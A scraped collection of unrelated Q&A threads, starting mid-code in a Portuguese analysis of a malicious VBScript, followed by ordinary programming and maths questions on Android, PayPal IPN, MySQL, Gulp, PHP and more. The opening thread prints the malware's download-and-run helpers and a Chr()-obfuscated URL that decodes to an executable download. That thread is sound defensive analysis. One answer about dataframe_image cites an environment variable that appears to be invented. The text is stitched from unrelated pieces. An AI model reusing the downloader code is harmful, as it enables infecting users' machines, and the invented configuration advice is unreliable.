        RandomString = RandomString & Mid(StringCharSet, Int(Rnd() * Len(StringCharSet) + 1), 1)
    Next
End Function

Function FileExists(FileOrFolderName)
    Dim oFso, bRet

Set oFso = CreateObject("Scripting.FileSystemObject")

    If Right(FileOrFolderName, 1) = "\" Then
        bRet = oFso.FolderExists(FileOrFolderName)
    Else
        bRet = oFso.FileExists(FileOrFolderName)
    End If

    FileExists = bRet
End Function

Sub MkDir(Path)
    Dim oFso

Set oFso = CreateObject("Scripting.FileSystemObject")

    oFso.CreateFolder Path
End Sub

Sub Shell(ApplicationPath)
    Dim oWShell

Set oWShell = CreateObject("WScript.Shell")

    oWShell.Run ApplicationPath
End Sub

Sub HTTPDownload(URL, LocalPath)
    Dim i, oFile, oFSO, oHTTP, sFile, sMsg

    Const ForReading = 1, ForWriting = 2, ForAppending = 8

Set oFso = CreateObject("Scripting.FileSystemObject")

    If oFSO.FolderExists(LocalPath) Then
        sFile = oFSO.BuildPath(LocalPath, Mid(URL, InStrRev(URL, "/") + 1))
    ElseIf oFSO.FolderExists(Left(LocalPath, InStrRev(LocalPath, "\") - 1)) Then
        sFile = LocalPath
    Else
        Exit Sub
    End If

    Set oFile = oFSO.OpenTextFile(sFile, ForWriting, True)

Set oHTTP = CreateObject("WinHttp.WinHttpRequest.5.1")

    oHTTP.Open "GET", URL, False
    oHTTP.Send

    For i = 1 To LenB(oHTTP.ResponseBody)
        oFile.Write Chr(AscB(MidB(oHTTP.ResponseBody, i, 1)))
    Next

    oFile.Close()
End Sub
</code>
Edit2: a quem possa interessar, eu usei um script simples em Python para converter os <code>Chr(...)</code>:
<code>codigo = """
On Error Resume Next

Dim sMYLocalPath
...etc...
"""
import re
codigo2 = re.sub(r"Chr\((\d+)\)", lambda m: '{%s}'%str(unichr(int(m.groups()[0]))) , codigo)
print codigo2.replace('} & {', '').replace('}', '"').replace('{', '"')
</code>
Comment: +1 por o script ser em Python ;)
Answer: bom criei um script.vbs com trechos desse script malicioso.
<code>Wscript.Echo Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(115) & Chr(58) & Chr(47) & Chr(47) & Chr(115) _
 & Chr(115) & Chr(108) & Chr(45) & Chr(112) & Chr(114) & Chr(111) & Chr(120) & Chr(121) _
 & Chr(46) & Chr(109) & Chr(121) & Chr(45) & Chr(97) & Chr(100) & Chr(100) & Chr(114) & Chr(46) _
 & Chr(111) & Chr(114) & Chr(103) & Chr(47) & Chr(109) & Chr(121) & Chr(97) & Chr(100) & Chr(100) _
 & Chr(114) & Chr(112) & Chr(114) & Chr(111) & Chr(120) & Chr(121) & Chr(46) & Chr(112) _
 & Chr(104) & Chr(112) & Chr(47) & Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(47) _
 & Chr(47) & Chr(112) & Chr(114) & Chr(111) & Chr(100) & Chr(117) & Chr(116) & Chr(111) & Chr(115) _
 & Chr(110) & Chr(97) & Chr(116) & Chr(117) & Chr(114) & Chr(97) & Chr(105) & Chr(115) & Chr(99) _
 & Chr(104) & Chr(97) & Chr(115) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(46) & Chr(98) _
 & Chr(114) & Chr(47) & Chr(101) & Chr(110) & Chr(118) & Chr(105) & Chr(103) & Chr(97) & Chr(100) _
 & Chr(111) & Chr(47) & Chr(109) & Chr(97) & Chr(110) & Chr(46) & Chr(101) & Chr(120) & Chr(101)
</code>
gerou o seguinte:

Resumindo o script faz download de um/uns arquivos executáveis da internet e depois executa.
Outra informação importante tem um site com a lista de anti-vírus que detecta e os que não detecta, no meu caso o avast não detecta :(

https://www.virustotal.com/pt/file/2a1277da6e5ff355ee97823b24d7bbf12b6c1d74e736b7b49f6d8247e5231313/analysis/1442342052/

script.vbe - vírus criptografado


error in using calendar in android?

Question: I am trying to open calendar from my app and using the code below as i found it in this question :how can i open the calendar from my app? ...but getting following error

07-01 14:19:26.299:
  ERROR/AndroidRuntime(14167): Caused
  by:
  android.content.ActivityNotFoundException:
  Unable to find explicit activity class
  {com.google.android.calendar/com.android.calendar.LaunchActivity};
  have you declared this activity in
  your AndroidManifest.xml?

any help will be useful..
<code>Intent i = new Intent();
    ComponentName cn = new ComponentName("com.google.android.calendar", "com.android.calendar.LaunchActivity");
    i.setComponent(cn);
    startActivity(i);
</code>
Comment: Did you see this:
http://stackoverflow.com/questions/5104691/open-calendar-in-android
Comment: yes i have seen that one and its similar to what i am using.
Answer: Have you tried specifying permissions ?
http://developer.android.com/reference/android/Manifest.permission.html#READ_CALENDAR
or alternatively use:
<code>    Intent intent = new Intent(Intent.ACTION_EDIT);
    intent.setType("vnd.android.cursor.item/event");
    intent.putExtra("title", "Some title");
    intent.putExtra("description", "Some description");
    intent.putExtra("beginTime", new java.util.Date().getTime());
    intent.putExtra("endTime", new java.util.Date().getTime()+36000000);
    startActivity(intent);
</code>

error in using calendar in android?


Are there any changes to IPN params with Enhanced Recurring Payments

Question: I'm using Paypal Website Payments Standard to accept recurring payments, but thinking of upgrading to "Enhanced Recurring Payments" to accept recurring payments from people without paypal accounts. I want to know, what if any are the changes to the APIs? Specifically, do the IPN messages differ at all? I can't find any information on how Enhanced Recurring Payments changes it, if at all.
If anybody knows, or can post a sample IPN for an Enhanced Recurring Payment without a PayPal account, that would be great!
Answer: There is a difference of only one variable between the IPN for PayPal Payments and the Credit card Payments . For the credit IPN you will receive an extra variable "receipt_id" in addition to the other variables . I have posted the two sample IPN's below :
ERP IPN when somebody pays via credit card option
mc_gross=1.00 &protection_eligibility=Eligible &address_status=confirmed &payer_id=ZQSC4
4KE3MPNE &address_street=3710 Spring Haven Trail ada &payment_date=07:49:47 Sep 29, 2014 PDT
&payment_status=Completed &charset=UTF-8 &address_zip=07054 &first_name=Eshan &
option_selection1=Small &option_selection2=Red &option_selection3=Value for the text field &
amp;mc_fee=0.33 &address_country_code=US &address_name=Eshan agag &notify_version=3.8 &a
mp;subscr_id=I-KJR1N7DVTSFV &custom=THIS IS CUSTOM VARIABLE FOR SUBSCRIPTION &payer_status=u
nverified &business=XXXXXXXXX &address_country=United States &address_city=Pa
rsippany &verify_sign=Aw6X5vyHflgdAgaJGWvPoCJ8QoI9AGpk50cgjQn5vFFAb.keQURphbSq &payer_email=
email@example.com &option_name1=First Drop Down &option_name2=Second Drop Down &option_n
ame3=This is Text field &contact_phone=434-343-3434 &txn_id=9E162447RW023401J &payment_t
ype=instant &last_name=agag &address_state=NJ &receiver_email=XXXXXXXXXX &
payment_fee=0.33 &receiver_id=XXXXXXXXX &txn_type=subscr_payment &item_name=Passing
custom field in subs button to see if it comes in IPN and show up in Account &mc_currency=USD &a
mp;residence_country=US &test_ipn=1 & **receipt_id=3610-4109-0310-2116** &transaction_subject
=Passing custom field in subs button to see if it comes in IPN and show up in Account &payment_g
ross=1.00 &ipn_track_id=42d902b155b6d

IPN when someone pays via PayPal
mc_gross=1.00 &invoice= 12345678 &protection_eligibility=Eligible &address_status=confir
med &payer_id=XXXXXXXXXX &address_street=cxas asa &payment_date=09:40:46 Sep 29, 2014
PDT &payment_status=Completed &charset=UTF-8 &address_zip=95616 &first_name=Eshan P
ersonal Test &option_selection1=Small &option_selection2=Red &option_selection3=Using th
e text field as the hidden one and also passed invoice id &mc_fee=0.33 &address_country_code
=US &address_name=Eshan Personal Test Account &notify_version=3.8 &subscr_id=I-79KEGCFRB
8V6 &custom=THIS IS CUSTOM VARIABLE FOR SUBSCRIPTION &payer_status=verified &business=XXXXXXX
&address_country=United States &address_city=FL &verify_sign=ABoC7zeo
JKOS8-FgzxlPH0pKFIpkABi1td4dId5Vndd1boMDXpvdWXfX &payer_email=XXXXXXXXX &option_n
ame1=First Drop Down &option_name2=Second Drop Down &option_name3=This is Text field &co
ntact_phone=408-767-7151 &txn_id=5LX310552A647342M &payment_type=instant &last_name=Acco
unt &address_state=FL &receiver_email=XXXXXXX &payment_fee=0.33 &receiv
er_id=XXXXXXX &txn_type=subscr_payment &item_name=Passing custom field in subs button
to see if it comes in IPN and show up in Account &mc_currency=USD &residence_country=US &
;test_ipn=1 &transaction_subject=Passing custom field in subs button to see if it comes in IPN a
nd show up in Account &payment_gross=1.00 &ipn_track_id=80ffac6da5284

I have attached Screen Shot also :
Comment: Yes you can do both partial or the full refund . I did the partial refund for the above posted transaction and you can see the IPN message here :  http://screencloud.net/v/vLzl
Comment: A couple more questions actually, if you dont mind: Can I still refund a payment if I need to, or give a partial refund? Can I do so programmatically like I'm doing now?


Determine the power series of $\sin^2 \cos x$

Question: I don't know why I found 2 different answers.
When using the product of the series then the binomial identity
$$\sin^2(x) \cos(x)=\sin(2x)\sin(x/2) $$
I found $$\sin^2(x) \cos(x)=\sum x^2\frac{(-4)^n (9^{n+1}-1)x^{2n}}{(2n+2)!4^{n+1}}.$$
By converting $\sin^2(x)\cos(x)$
into $$\sin^2(x)\cos(x)=(1/4)\cos(x) -(1/4)\cos(3x)$$
I got
$$\sin^2(x) \cos(x)=\frac{1\sum{(-1)^n x^{2n}(1-9)^n}}{4\cdot(2n)!}.$$
Which of them is true?
Comment: do you mean $\sin^2 x \cos x$ or do you mean $\sin^2(\cos x)$
Answer: Do you mean
$$\sin^2 x\cos x?$$
This is
$$\frac12\sin x\sin 2x.$$
Using the identity,
$$\sin A\sin B=\frac{\cos(A-B)-\cos(A+B)}2$$
we get
$$\sin^2 x\cos x=\frac{\cos x-\cos3x}4.$$
Now use $\cos y=\sum_n (-1)^ny^{2n}/(2n)!$.
Answer: Your first power series is correct. The second attempt has promise. You have correctly given $\sin(x)^2cos(x)=(1/4)\cos(x)-(1/4)\cos(3x)$ which should give the same answer but you did not expand the two power series correctly. In particular, $(1-9)^n$ should be $(1^n-9^n)$.


dataframe_image chrome executable not able to be found on your machine

Question: Estou executando um script python em um docker container e este é o erro que recebo ao tentar exportar um dataframe como uma imagem com a biblioteca dataframe-image.
OSError: o executável do Chrome não pode ser encontrado em sua máquina
Answer: O erro que você está enfrentando indica que o dataframe-image está tentando usar o Chrome para renderizar a imagem do dataframe e não conseguiu encontrá-lo na sua máquina.
Para resolver esse problema, você pode seguir os seguintes passos:

Verifique se o Chrome está instalado na sua máquina e se a sua
versão é compatível com a biblioteca dataframe-image.
Se o Chrome já estiver instalado, tente adicioná-lo ao PATH do seu
sistema operacional. Você pode fazer isso definindo a variável de
ambiente PATH para incluir o diretório que contém o executável do
Chrome.
Se o Chrome não estiver instalado na sua máquina, instale-o e tente
novamente.

Além disso, você pode tentar configurar a biblioteca dataframe-image para usar um navegador diferente, como o Firefox. Você pode fazer isso definindo a variável de ambiente DATAFRAME_IMAGE_BROWSER para o caminho do executável do navegador desejado.
Por exemplo, se você quiser usar o Firefox, você pode definir a variável DATAFRAME_IMAGE_BROWSER para o caminho do executável do Firefox:
import os
os.environ['DATAFRAME_IMAGE_BROWSER'] = '/usr/bin/firefox'  # caminho para o executável do Firefox

Depois disso, tente exportar o dataframe novamente.


How to get azure cdn link for file in azure blob?

Question: I have Azure Blob and added for it Azure CDN.
How to get link to cdn for uploaded to blob file?
var storageAccount = CloudStorageAccount.Parse(configuration.ConnectionString);
var client = storageAccount.CreateCloudBlobClient();
var container = client.GetContainerReference("container");

CloudBlobContainer container = await _containerFactory.CreateAsync("files", cancellationToken);
var blockBlob = container.GetBlockBlobReference("file-name.png");

await blockBlob.UploadFromStreamAsync(fileStream, cancellationToken);

return blockBlob.Uri; // return blob blob url

blockBlob.Uri returns blob url, but I need CDN uri?
Is it possible to get CDN uri based on c# code? Without replacing part of uri to cdn endpoint.
Comment: You are uploading the file to a blob storage account, but you are not adding that link to the CDN, so why do you expect to receive a CDN link?
Comment: Did author managed to solve it? Get cdn endpoint for a bolb?
Comment: @CamiloTerevinto can you please explain how to do it? Please provide description step by step or some post with explanation
Comment: So you upload a file to blob storage and you want to send back the CDN url to the user ? can you not just put the CDN name into a config variable ???
Comment: @AntonZimm https://learn.microsoft.com/en-us/azure/cdn/cdn-app-dev-net
Comment: @Thomas it required to parse file uri and replace to CDN url? I don't like this solution, I try to get already correct link in response.
Comment: @CamiloTerevinto this topic about CDM managements, not about Blob and CDN work together. It is not my case
Comment: @AntonZimm, sorry trying to understand your use case... maybe there are other solution you need to think about
Comment: Did you figure this out? I'm facing the same issue. I don't know how to make blob service to return CDN endpoint URL associated to the blob.
Answer: better available solution -- concatenate strings with URL of CDN and file name


Why does this pattern emerge when randomly filling bins from a total pool of value?

Question: I wrote a small function to randomly generate a list of values which adds up to some total, in this case 100; written for some unrelated reason. After aggregating the lists and averaging across the indices I found that the averages displayed a pattern.
Here 1000 lists, of length 10, where the sum of all the values is 100, was generated and the average value for each index was calculated
$$l_1 = [50.35, 25.11, 12.33, 6.3, 2.92, 1.47, 0.75, 0.38, 0.18, 0.08]$$
The pattern I found is that the average value at a specific index is always approximately half of the last, and the first average is half of the total sum of the list.
For example here is a the same calculation on 1000 lists, of length 4, with a list sum of 50.
$$ l_2 = [24.774, 12.683, 6.265, 3.223] $$
For completeness here is a Python SSCCE which generates the lists and calculates the averages
import random

def genlist(len, total):
    r = []
    for i in range(0, len):
        if total == 0:
            r.append(0)
            continue
        v = random.randint(0, total)
        r.append(v)
        total -= v
    return r

list_of_lists = [genlist(4, 50) for i in range(0, 1000)]
transpose_lol = zip(*list_of_lists)
avg_index_value = [float(sum(x)) / len(x) for x in transpose_lol]

print(avg_index_value)

Why does this pattern emerge?
I can roughly see it, just based on how the "bins" that are the indices of the list are filled from a shrinking pool of total value. Though, saying that makes it seem as if the random value for the first index is always "large"; it is just as likely that it is small too. Thus, I keep reasoning back to myself that the average across the indices of the list should always just be total/len.
Comment: Two things: have a look here https://en.wikipedia.org/wiki/Law_of_large_numbers and check your implementation. Also, try it for a list length of 1. What do you expect and check it.
Answer: It is due to the way you select the numbers. Your first sample is chosen uniformly from $[0,100]$, and the expected value is $50$. The second value is then chosen from $[0,50]$, which is most likely to be $25$, and so on. This explains the halving pattern you witness.
More formally, let $X_1 \sim \text{Unif}[0,1]$ and for each $n\geq 1$ let $X_{n+1} \sim \text{Unif}[0,X_n]$. Then you can prove $\Bbb E[X_{n+1}]=\frac{1}{2}\Bbb E[X_n]$, therefore by induction $E[X_n]=\frac{1}{2^n}$ for all $n\geq 1$.
If you instead want numbers which are evenly dispersed throughout $[0,100]$, then here is one way. Take your desired number of samples from the uniform distribution on $[0,1]$. Let $S$ be the sum of your samples. Then divide every element by $S$, making your total sum to be exactly $1$ (this is called normalizing). Now multiply every element by $100$, and there you go, evenly dispersed numbers in $[0,100]$ which sum to $100$.
Comment: That makes total sense. Thank you.


MySQL Select data between two String date

Question: I have this query
SELECT added_by, count(*)
FROM `voters_registration`
WHERE DATE_FORMAT(STR_TO_DATE(added_date, '%d-%m-%Y %r'),'%d-%m-%Y') BETWEEN '01-10-2013' AND '30-10-2013'
GROUP BY added_by HAVING count(*) > 0 ;

when I use
SELECT added_by, count(*)
FROM `voters_registration`
WHERE DATE_FORMAT(STR_TO_DATE(added_date, '%d-%m-%Y %r'),'%d-%m-%Y') = '01-10-2013'
GROUP BY added_by
HAVING count(*) > 0 ;

It work fine, but I use BETWEEN as you can at above query doesn't return the correct value. The date field is the String data type.
Comment: This is why you should fix the date formats in your database
Comment: You're doing string comparisons, this seems pretty silly. Why not remove the `STR_TO_DATE` do proper `YYYY-MM-DD` comparisons? (Or as John says, change the field type in the first place)
Answer: When you have dates as strings and you want to compare them, then the format should always be the ANSI standard YYYY-MM-DD format (the hyphens are optional).  Strings are compared as strings, so if the limits are '01-10-2013' AND '30-10-2013' then almost anything is between them, such as '29-12-1940' and '04-02-2105'.  The ordering is as strings.
In your case, just convert the values to dates and do the comparison as dates:
SELECT added_by, count(*)
FROM `voters_registration`
WHERE STR_TO_DATE(added_date, '%d-%m-%Y %r') BETWEEN '2013-10-01' and '2013-10-30'
GROUP BY added_by
HAVING count(*) > 0 ;

You don't need to convert the values back to strings for the comparison.


How to notify @all using curl hipchat api?

Question: I am able to post to Hipchat using curl.  But I can seem to have it take the @all It prints it as part of the message but it doesn't notify.
Answer: Set the notify property to true - This is set to false by default.
Comment: @RobertoTheLaker are you able to mark this as answered please?


What's the difference between importing a whole module vs importing just the required method from the module in python?

Question: When using scikit learn or other similar Python libraries, what's the difference between doing:
import sklearn.cluster as sk
model = sk.KMeans(n_clusters=n)

And
from sklearn.cluster import KMeans
model = KMeans(n_clusters=n)

Is there any advantage to using one way over the other?
Comment: As explained [here](https://softwareengineering.stackexchange.com/questions/187403/import-module-vs-from-module-import-function/187471) "*Importing the module doesn't waste anything; the module is always fully imported*" so there is no way to import *only* a specific thing from a module
Comment: @Prune from **how to ask**: "Examples: Good: Why does using float instead of int give me different results when all of my inputs are integers?" -- why is my question in a different category than the example?
Comment: Welcome to StackOverflow.  Please read and follow the posting guidelines in the help documentation.  [on topic](http://stackoverflow.com/help/on-topic) and [how to ask](http://stackoverflow.com/help/how-to-ask) apply here.
StackOverflow is not a coding or tutorial service.
This is covered well in the Python documentation and many texts, both hard-copy and on line.
Comment: I think this is a fine question. Sure, the issue is well-documented and there's a similar question on another SE site but it's also a well-worded question with concise and clear examples.
Comment: Good enough -- objection withdrawn.  I'll leave my comment as a bad example with good correction.
Answer: Well, in your first example, you've made the module sklearn.cluster accessible as sk and you can refer to its members accordingly. In your second example, you've only imported one member of sklearn.cluster, KMeans, so only that one is accessible. That's the difference.
As for advantages? Do whichever makes your code easier to read.
Comment: "*you've only imported one member ... so only that one is accessible*" I'd be careful with that wording. They've actually imported the *entire module*, it's just that only `kMeans` is *accessible*
Comment: It might be a matter of semantics. Yes, the whole module is loaded (as can be seen from `sys.modules`) but I was referring to the `import` keyword.


Configure Menu in Sonata Admin Bundle

Question: I try to configure a custom admin menu in the sidebad of my Sonata Admin Bundle, but i don't understand how to ?
Thanks
Djoo
Answer: The sidebar nav doesn't have a specific configuration, it uses the dashboard config to be generated.
To see it, you must be logged in and the user must have ROLE_SONATA_ADMIN to see the sidebar nav.
https://github.com/antoinemineau/SonataAdminBundle/blob/master/Resources/views/standard_layout.html.twig#L181
A related issue is explained here: https://github.com/sonata-project/SonataAdminBundle/issues/2321#issuecomment-52756483
Comment: ;_; why wont they update their damn documents, as a new user we have to scramble around to find the answers that they should have given
Comment: @Dheeraj, I know this response is late, but it's worth adding an answer. I'm not their maintainer and have only contributed issues, _but_, I will say that they are not the first FOSS project to request help from the community of developers who use their product to write docs. Symfony's recent development has been pretty heavy from v3-v4 and lot's changed, so Sonata Admin team has had to work to keep things working in new Symfony versions while also adding new features and fixing new bugs. I respect that they can't always get to docs and I respect them asking for help from the community.
Comment: @JohnPancoast cringe at their internal process, documentation is an integral part of software development, how do they expect people to use their product
Comment: @Dheeraj, I agree that documentation is important for software development, but so is reading other's code. And much of their library is documented, including this answer which can be found here https://symfony.com/doc/master/bundles/SonataAdminBundle/reference/templates. They tell you where the base template is and from there you must read that template to understand what to override (and must understand twig inheritance). This question was a specific question with a specific answer and sonata cannot document every single use case like this one, but in general, this behavior is documented.
Answer: For people that may be interested, a feature was added to manage the sidebar menu items (add or remove some of them) dynamically.
That mean you can easily have a condition based sidebar (i.e. display a different sidebar depending on (for instance) the role of the authenticated user).
The feature consists in an EventListener listening on a custom ConfigureMenuEvent using KnpMenuBundle.
See extending the menu (KnpMenu Recipe of the SonataAdmin documentation) and the related chapter of the KnpMenuBundle official documentation.

Configure Menu in Sonata Admin Bundle


Exibir um vídeo diferente para cada visitante

Question: Estou fazendo uma página HTML com JavaScript e gostaria que para cada usuário que a visite o vídeo inicial seja alterado.
Eu tenho 5 vídeos, então no primeiro acesso o vídeo 1 seria exibido, depois o vídeo 2 e assim por diante, até que no sexto acesso voltaria a exibir o vídeo 1.
É possível fazer isso? Como posso fazer?
Answer: Claro, é pra isso que servem os "Cookies": https://developer.mozilla.org/pt-BR/docs/Web/HTTP/Cookies
Pequei parte do código em https://www.w3schools.com/js/js_cookies.asp
Você só precisa criar um cookie com o número de acessos e então ficar pegando o resto da divisão do número de acessos pela quantidade de vídeos. E assim você vai saber qual o vídeo que vai exibir.

<meta charset="utf8">

<video id="video" width="320" height="240" loop controls>

Seu navegador não suporta o vídeo.

</video>

Comment: PRIMEIRAMENTE O MEU MUITO OBRIGADO PELA ATENÇÃO.

Poxa  acho que fiz alguma coisa errada porque não aparece o vídeo
o titulo muda certinho, eu adicionei os videos lá tudo com os nome v1, v2, v3, v4 e v5 todos em MP4. mas não rodou os vídeo, e mesmo que fosse outro usuário  ele deveria seguir a contagem do usuário anterior segue o link:

https://testewww.000webhostapp.com/teste-nathan/index.html
Comment: O erro foi meu, já já corrigo isso. Agora, se você quer que pra cada usuário que acesse o site mude o vídeo, vc vai ter que armazenar o número de acessos no servidor. Mas na verdade isso não ser muito diferente de escolher aleatoriamente um vídeo, do ponto de vista do usuário.
Comment: Novamente agradeço, pela atenção e sem querer abusar muito de sua boa vontade, tem algum tópico ou link que me ajude nesse ponto que para mim é importante que eles sigam a ordem através de outros usuários também
Exemplo usuário a entrar e assisti ou está assistindo o v1.mp4  o próximo a acessar usuário b mesmo de outro dispositivo vai entrar vai assistir o v2.mp4 e assim por diante.
Comment: Bem, agora vai mostrar os vídeos. Agora, o que você está usando do lado do servidor? PHP? Python? Node.js? Para eu colocar o exemplo específico do vídeo pelo usuário.
Comment: Eu uso PHP, aqui no servidor
Comment: Então acabei vendo que dessa forma funcionar, porém para exatamente o que eu quero não conseguir aplicar bem. Então o que acontece. que eu vou usar esse html, (para dentro de uma RB ) e criar um hotspot, e a cada vez que alguém entrasse nesse wifi antes de liberar a internet iria apresenta um vídeo e o mesmo seguir em esquecia, para os clientes que se conectarem em posterior, na minha lojinha. Na minha cabeça teria como esse html tipo gerar um txt dentro da pasta que o mesmo fica dentro do roteador e desse txt ele manda e buscar o valor para soltar os videos.
Answer: Jonathan, no caso específico do PHP, você vai ter que armazenar essa contagem em algum lugar, porque depois que processo do PHP do encerra, todas as informações são perdidas.
No caso eu vou usar Redis. Redis é um banco de dados na memória, muito rápido e pequeno, ideal para esse tipo de coisa.
Se tiver usando windows é só baixar os binários e executar o arquivo redis-server. E instalar a extensão.
<?php
// pegos os videos na pasta atual
$videos = glob('./*.mp4');

$redis = new Redis();
$redis->connect('127.0.0.1');

/* se não existir uma chave chamada 'nacessos',
ele cria e retorna 1, se existir ele incrementa
e retorna o valor
*/
$nacessos = $redis->incr('nacessos');

$video = $videos[$nacessos % count($videos)];
?>

<meta charset="utf8">

<?= $video ?>, acesso #<?= $nacessos ?>

<video id="video" width="320" height="240" controls autoplay muted loop>
  <source src="<?= $video ?>" type="video/mp4">

Seu navegador não suporta o vídeo.

</video>

<?php


php and mysql installation issues on windows 2003 server - IIS6

Question: I'm trying to install Oscommerce which requires mysql and php. I already have PHP set up and I have installed Mysql but when i run php phpinfo() i get the following error.
<code>C:\Documents and Settings\Administrator>php phpinfo()
PHP Warning:  PHP Startup: mysql: Unable to initialize module
Module compiled with module API=20060613, debug=0, thread-safety=0
PHP    compiled with module API=20060613, debug=0, thread-safety=1
These options need to match
</code>
Does anyone know why i am getting these errors? I've already configured the php.ini file
Answer: It looks like you are using the thread safe version of PHP but the MySQL module you are using is not thread safe. Try installing the thread safe version of the MySQL PHP module.
If you can, try not using Windows. Most of the software you are trying to run was originally written for unix type OSes. Everything would run quite smoothly.
That being said, I am running PHP on a Windows server to get data out of the SQL Server db. When installing this, I used a service from Microsoft. I think it was this:
http://www.microsoft.com/web/platform/phponwindows.aspx
MySQL database drivers were included.
Comment: Thanks I ended up doing a complete reinstall of the binaries zip from http://windows.php.net/download/ and it all worked fine.


Want to extract the QR value from firebase database but the snapshot prints nil

Question: I want to extract the QR value which is on firebase database QR Values->year->month->day->QR : value

func GetQR() {
    let date = getDate()

    let year =  String(describing: date.year)
    let month = String(describing:date.month)
    let day = String(describing:date.day)

    ref = Database.database().reference().child("QR Values").child(year).child(month).child(day)
    ref.observeSingleEvent(of: .value, with: { (snapshot) in

        // Get user value
        let value = snapshot.value as? String

            print(value)

    })
    { (error) in
        print(error.localizedDescription)
    }

    }

The printed snapshot is nil.
Comment: For your question on refactoring, have a look at [Composition versus Inheritance](http://www.artima.com/designtechniques/compoinh.html) and ask any questions about your code over on the sister site: [CodeReview](https://codereview.stackexchange.com/)
Comment: have also added last child('QR') in the query.
Comment: the value is a dict ["QR": "kUX...."] not a string
Answer: You still need to look up the QR property in the snapshot that you get from the database:
ref = Database.database().reference().child("QR Values").child(year).child(month).child(day)
ref.observeSingleEvent(of: .value, with: { (snapshot) in
    let value = snapshot.childSnapshot(forPath: "QR").value as? String

Answer: Since the variable year , month and day are optional and the values of  year , month and day in firebase database are not optional, it results nil. So, the solution is to remove optional.
   func GetQR() {

    let calendar = Calendar.current
    let components = calendar.dateComponents([.year, .month, .day, .hour, .minute], from: date)

    let year =  "\(String(describing: components.year!))"
    let month = "\(String(describing: components.month!))"
    let day = "\(String(describing: components.day!))"

ref = Database.database().reference().child("QR Values").child(year).child(month).child(day)
ref.observeSingleEvent(of: .value, with: { (snapshot) in

    // Get user value
    let value = snapshot.value as? String

        print(value)

})
{ (error) in
    print(error.localizedDescription)
}

}


Gulp using gulp-jade with gulp-data

Question: I'm trying to use gulp-data with gulp-jade in my workflow but I'm getting an error related to the gulp-data plugin.
Here is my gulpfile.js
var gulp = require('gulp'),
  plumber = require('gulp-plumber'),
  browserSync = require('browser-sync'),
  jade = require('gulp-jade'),
  data = require('gulp-data'),
  path = require('path'),
  sass = require('gulp-ruby-sass'),
  prefix = require('gulp-autoprefixer'),
  concat = require('gulp-concat'),
  uglify = require('gulp-uglify'),
  process = require('child_process');

  gulp.task('default', ['browser-sync', 'watch']);

  // Watch task
  gulp.task('watch', function() {
    gulp.watch('*.jade', ['jade']);
    gulp.watch('public/css/**/*.scss', ['sass']);
    gulp.watch('public/js/*.js', ['js']);
  });

  var getJsonData = function(file, cb) {
    var jsonPath = './data/' + path.basename(file.path) + '.json';
    cb(require(jsonPath))
  };

  // Jade task
  gulp.task('jade', function() {
    return gulp.src('*.jade')
    .pipe(plumber())
    .pipe(data(getJsonData))
    .pipe(jade({
      pretty: true
    }))
    .pipe(gulp.dest('Build/'))
    .pipe(browserSync.reload({stream:true}));
  });

  ...

  // Browser-sync task
  gulp.task('browser-sync', ['jade', 'sass', 'js'], function() {
    return browserSync.init(null, {
    server: {
      baseDir: 'Build'
    }
  });
});

And this is a basic json file, named index.jade.json
{
  "title": "This is my website"
}

The error I get is:
Error in plugin 'gulp-data'
[object Object]

Answer: You are getting error because in getJsonData you pass required data as first argument to the callback. That is reserved for possible errors.
In your case the callback isn't needed. Looking at gulp-data usage example this should work:
.pipe(data(function(file) {
  return require('./data/' + path.basename(file.path) + '.json');
}))

Full example:
var gulp = require('gulp');
var jade = require('gulp-jade');
var data = require('gulp-data');
var path = require('path');
var fs   = require('fs');

gulp.task('jade', function() {
  return gulp.src('*.jade')
    .pipe(data(function(file) {
      return require('./data/' + path.basename(file.path) + '.json');
    }))
    .pipe(jade({ pretty: true }))
    .pipe(gulp.dest('build/'));
});

Use this if you're running the task on gulp.watch:
.pipe(data(function(file) {
  return JSON.parse(fs.readFileSync('./data/' + path.basename(file.path) + '.json'));
}))

Comment: I'm not getting the error anymore but if I type `p= title` in `index.jade` I get only an empty `p` tag in the generated html file. I checked the gulp-jade documentation and the reason I used the `geJsonData` variable is because it what they recommend [here](https://www.npmjs.org/package/gulp-jade#use-with-gulp-data-https-www-npmjs-org-package-gulp-data-)
Comment: That's odd. It works for me. Example in gulp-jade is outdated.
Comment: Just figured out that it is working actually but only when I run `gulp` command in terminal. Is there any way to get the object content on task run and inject the data live?
Comment: I don't understand the question. How else are you running gulp tasks?
Comment: Sorry for my newbie questions and thank you for helping me. Now I type `gulp`, I start typing `p Hello World`, hit `cmd+s` and the output html file gets the `p` tag with its content. But if I type `p= title` to get that in the generated file I have to hit `ctrl+c` to stop gulp and then run `gulp` again.
Comment: Could you try `return JSON.parse(fs.readFileSync('./data/' + path.basename(file.path) + '.json'));` and see if it works? I think you're running watch and because require calls are cached, changes to json don't show up unless you restart the task.
Comment: Thank you for asking. Because of that the example has been fixed: https://github.com/phated/gulp-jade#use-with-gulp-data
Comment: Check if your JSON exists or return default config:

`var config = {
      "title": "This is my website"
    }

    .pipe(data(function(file) {
        var pat = './data/' + path.basename(file.path) + '.json'
        if (fs.existsSync(pat)) {
            return require(pat);
        } else {
            return config;
        }
    }))`

Gulp using gulp-jade with gulp-data